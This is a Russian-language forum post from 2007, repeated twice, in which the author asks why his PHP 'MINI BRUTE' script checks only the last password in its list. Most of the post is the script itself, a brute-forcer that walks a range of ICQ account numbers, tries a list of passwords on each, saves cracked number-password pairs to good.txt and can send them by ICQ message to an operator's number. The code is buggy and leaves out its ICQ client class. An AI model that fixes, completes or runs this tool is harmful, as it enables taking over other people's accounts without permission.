Hormold
18.07.2007, 23:19
Вот пишу брут на php...
Получается так: он берёт последний пароль из списка и проверяет его! Остальное он не трогает! Как избавиться от этого?
Вот код:
<?
$good="good.txt";
$bad="bad.txt";
if (@socket_create()) {
echo "<center><b>Ошибка: хостинг не поддерживает сокеты :(</b></center>";
exit();
}
error_reporting(0);
set_time_limit(0);
ignore_user_abort(1);
if(!empty($_GET["pass"]) && $_GET["uin_start"] && $_GET["uin_end"])
{
$plist = explode("\n", $_GET["pass"]);
$icq = new WebIcqLite();
if (empty($uin))
{
$uin = $_GET["uin_start"];
}
elseif ($_GET["uin_end"] == $uin && $_GET["uin_rand"] == 0)
{
exit();
}
else
{
$uin++;
}
for ($i = 0; $i <= count($plist)-1; $i++)
{
$new_pass = trim($plist[$i]);
}
if($icq->connect($uin, $new_pass))
{
$file = fopen($good, "a+");
fwrite($file, $uin.";".$new_pass."\n");
fclose($file);
if ($_GET["send"] == "icq")
{
$icq->send_message($_GET["admin"], "Сбручен номер:\n".$uin.";".$current_pass);
}
}
else
{
$badfile = fopen($bad, "a");
fwrite($badfile, $uin.";".$new_pass."\n");
fclose($badfile);
}
}else{
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />
<title>MINI BRUTE BY HoRmOlD</title>
</head>
<body>
<center>
<table width="703" height="272" border="0">
<tr>
<td height="56"><center>
<font color="#FF0000"><strong>MINI BRUTE BY HoRmOlD </strong></font>
</center>
</td>
</tr>
<tr>
<td><center>
<p> </p>
<form method="get">
<p>С какого номера начать:
<input type="text" name="uin_start" />
</p>
<p>Каким закончить:
<input type="text" name="uin_end" />
</p>
<p>Пароли(Не больше трёх):</p>
<p>
<textarea name="pass" cols="30" rows="5"></textarea>
</p>
<p>Если сбручен номер то:
<select name="send" size="1" >
<option value="icq" selected>На ICQ
<option value="0">Просто записать в good.txt
</select><BR>
Номер icq админа:
<input type="text" name="admin" />
<INPUT TYPE="hidden" name="start" value="1">
</p>
<p>
<input name="Submit" type="submit" value="Брутить" />
</p>
</form>
<p>(C) HoRmOlD</p>
<p> </p>
</center>
</td>
</tr>
</table></center>
</body>
</html>
<?
///END BRUTE CODE
}
//Тут идёт WebIcqLite, нестал помещать из за размера!!!
?>
Получается так: он берёт последний пароль из списка и проверяет его! Остальное он не трогает! Как избавиться от этого?
Вот код:
<?
$good="good.txt";
$bad="bad.txt";
if (@socket_create()) {
echo "<center><b>Ошибка: хостинг не поддерживает сокеты :(</b></center>";
exit();
}
error_reporting(0);
set_time_limit(0);
ignore_user_abort(1);
if(!empty($_GET["pass"]) && $_GET["uin_start"] && $_GET["uin_end"])
{
$plist = explode("\n", $_GET["pass"]);
$icq = new WebIcqLite();
if (empty($uin))
{
$uin = $_GET["uin_start"];
}
elseif ($_GET["uin_end"] == $uin && $_GET["uin_rand"] == 0)
{
exit();
}
else
{
$uin++;
}
for ($i = 0; $i <= count($plist)-1; $i++)
{
$new_pass = trim($plist[$i]);
}
if($icq->connect($uin, $new_pass))
{
$file = fopen($good, "a+");
fwrite($file, $uin.";".$new_pass."\n");
fclose($file);
if ($_GET["send"] == "icq")
{
$icq->send_message($_GET["admin"], "Сбручен номер:\n".$uin.";".$current_pass);
}
}
else
{
$badfile = fopen($bad, "a");
fwrite($badfile, $uin.";".$new_pass."\n");
fclose($badfile);
}
}else{
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />
<title>MINI BRUTE BY HoRmOlD</title>
</head>
<body>
<center>
<table width="703" height="272" border="0">
<tr>
<td height="56"><center>
<font color="#FF0000"><strong>MINI BRUTE BY HoRmOlD </strong></font>
</center>
</td>
</tr>
<tr>
<td><center>
<p> </p>
<form method="get">
<p>С какого номера начать:
<input type="text" name="uin_start" />
</p>
<p>Каким закончить:
<input type="text" name="uin_end" />
</p>
<p>Пароли(Не больше трёх):</p>
<p>
<textarea name="pass" cols="30" rows="5"></textarea>
</p>
<p>Если сбручен номер то:
<select name="send" size="1" >
<option value="icq" selected>На ICQ
<option value="0">Просто записать в good.txt
</select><BR>
Номер icq админа:
<input type="text" name="admin" />
<INPUT TYPE="hidden" name="start" value="1">
</p>
<p>
<input name="Submit" type="submit" value="Брутить" />
</p>
</form>
<p>(C) HoRmOlD</p>
<p> </p>
</center>
</td>
</tr>
</table></center>
</body>
</html>
<?
///END BRUTE CODE
}
//Тут идёт WebIcqLite, нестал помещать из за размера!!!
?>